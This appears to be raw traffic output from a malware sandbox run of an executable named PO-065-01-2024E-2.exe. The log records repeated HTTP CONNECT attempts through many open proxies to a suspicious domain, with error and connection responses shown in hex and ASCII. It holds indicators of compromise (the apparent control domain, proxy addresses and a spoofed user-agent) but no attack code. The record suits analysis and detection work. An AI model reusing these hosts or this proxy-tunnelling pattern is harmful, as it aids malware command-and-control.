Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
565	192.168.2.10	51662	47.242.15.120	15673	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.326483011 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
566	192.168.2.10	51587	218.57.210.186	9002	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.330225945 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:47.176512957 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.489038944 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:50.786577940 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:55.286361933 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:59.786130905 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:01.159132957 CET	311	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 11 Mar 2024 15:22:17 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
567	192.168.2.10	51680	147.75.34.86	10007	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.333072901 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:46.632620096 CET	356	IN	HTTP/1.0 502 Bad Gateway Server: Zscaler/6.3 Content-Type: text/html Connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 31 3e 44 4e 53 20 65 72 72 6f 72 3c 2f 68 31 3e 0d 0a 3c 70 3e 44 4e 53 20 65 72 72 6f 72 20 28 74 68 65 20 68 6f 73 74 20 6e 61 6d 65 20 6f 66 20 74 68 65 20 70 61 67 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 20 64 6f 65 73 20 6e 6f 74 20 65 78 69 73 74 29 3c 62 72 3e 3c 62 72 3e 50 6c 65 61 73 65 20 63 68 65 63 6b 20 74 68 61 74 20 74 68 65 20 68 6f 73 74 20 6e 61 6d 65 20 68 61 73 20 62 65 65 6e 20 73 70 65 6c 6c 65 64 20 63 6f 72 72 65 63 74 6c 79 2e 3c 62 72 3e 3c 2f 70 3e 0d 0a 3c 21 2d 2d 5a 73 63 61 6c 65 72 2f 36 2e 33 2d 2d 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>502 Bad Gateway</title></head><body><h1>DNS error</h1><p>DNS error (the host name of the page you are looking for does not exist)<br><br>Please check that the host name has been spelled correctly.<br></p>...Zscaler/6.3--></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
568	192.168.2.10	51737	52.151.210.204	9000	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.334567070 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
569	192.168.2.10	51184	174.77.111.197	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.408956051 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
570	192.168.2.10	51699	213.202.230.241	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.410769939 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:46.737279892 CET	783	IN	HTTP/1.1 502 Proxy Error Date: Mon, 11 Mar 2024 15:39:46 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 601 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 32 20 50 72 6f 78 79 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 50 72 6f 78 79 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 70 72 6f 78 79 20 73 65 72 76 65 72 20 72 65 63 65 69 76 65 64 20 61 6e 20 69 6e 76 61 6c 69 64 0d 0a 72 65 73 70 6f 6e 73 65 20 66 72 6f 6d 20 61 6e 20 75 70 73 74 72 65 61 6d 20 73 65 72 76 65 72 2e 3c 62 72 20 2f 3e 0d 0a 54 68 65 20 70 72 6f 78 79 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 3c 70 3e 52 65 61 73 6f 6e 3a 20 3c 73 74 72 6f 6e 67 3e 44 4e 53 20 6c 6f 6f 6b 75 70 20 66 61 69 6c 75 72 65 20 66 6f 72 3a 20 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 70 3e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>502 Proxy Error</title></head><body><h1>Proxy Error</h1><p>The proxy server received an invalidresponse from an upstream server.<br />The proxy server could not handle the request<p>Reason: <strong>DNS lookup failure for: heygirlisheeverythingyouwantedinaman.com</strong></p></p><p>Additionally, a 502 Bad Gatewayerror was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.52 (Ubuntu) Server at heygirlisheeverythingyouwantedinaman.com Port 443</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
571	192.168.2.10	51728	24.249.199.4	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.410809040 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
572	192.168.2.10	51702	31.24.44.92	50109	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.410836935 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
573	192.168.2.10	51633	20.219.177.73	3129	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.410897017 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:46.857177019 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
574	192.168.2.10	51683	58.246.58.150	9002	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.411175013 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:47.148329973 CET	311	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 11 Mar 2024 15:39:46 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
575	192.168.2.10	51674	119.91.214.119	3389	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.411276102 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
576	192.168.2.10	51828	172.67.181.89	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.412497997 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:46.566761017 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:46 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
577	192.168.2.10	51189	37.187.77.58	18936	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.412520885 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:49.489037991 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.489845991 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:58.489336967 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:10.582685947 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:22.676271915 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
578	192.168.2.10	51159	46.231.72.35	5678	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.412992954 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
579	192.168.2.10	51541	120.234.203.171	9002	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.412993908 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:47.614029884 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.047535896 CET	311	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 11 Mar 2024 15:39:47 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
580	192.168.2.10	51808	72.210.221.197	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.413203001 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
581	192.168.2.10	51864	172.67.105.234	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.413204908 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:46.567306042 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:46 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
582	192.168.2.10	51121	112.30.155.83	12792	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.413412094 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:46.856025934 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
583	192.168.2.10	51725	68.1.210.163	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.413500071 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
584	192.168.2.10	51590	124.163.236.54	7302	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.417294025 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:47.410655022 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:47.855505943 CET	90	IN	HTTP/1.1 200 OK Content-Type: application/json Connection: close Content-Length: 55

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
585	192.168.2.10	51608	103.190.54.141	8080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.417812109 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
586	192.168.2.10	51887	104.24.220.52	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.420094013 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:46.574444056 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:46 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
587	192.168.2.10	51738	218.252.244.126	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

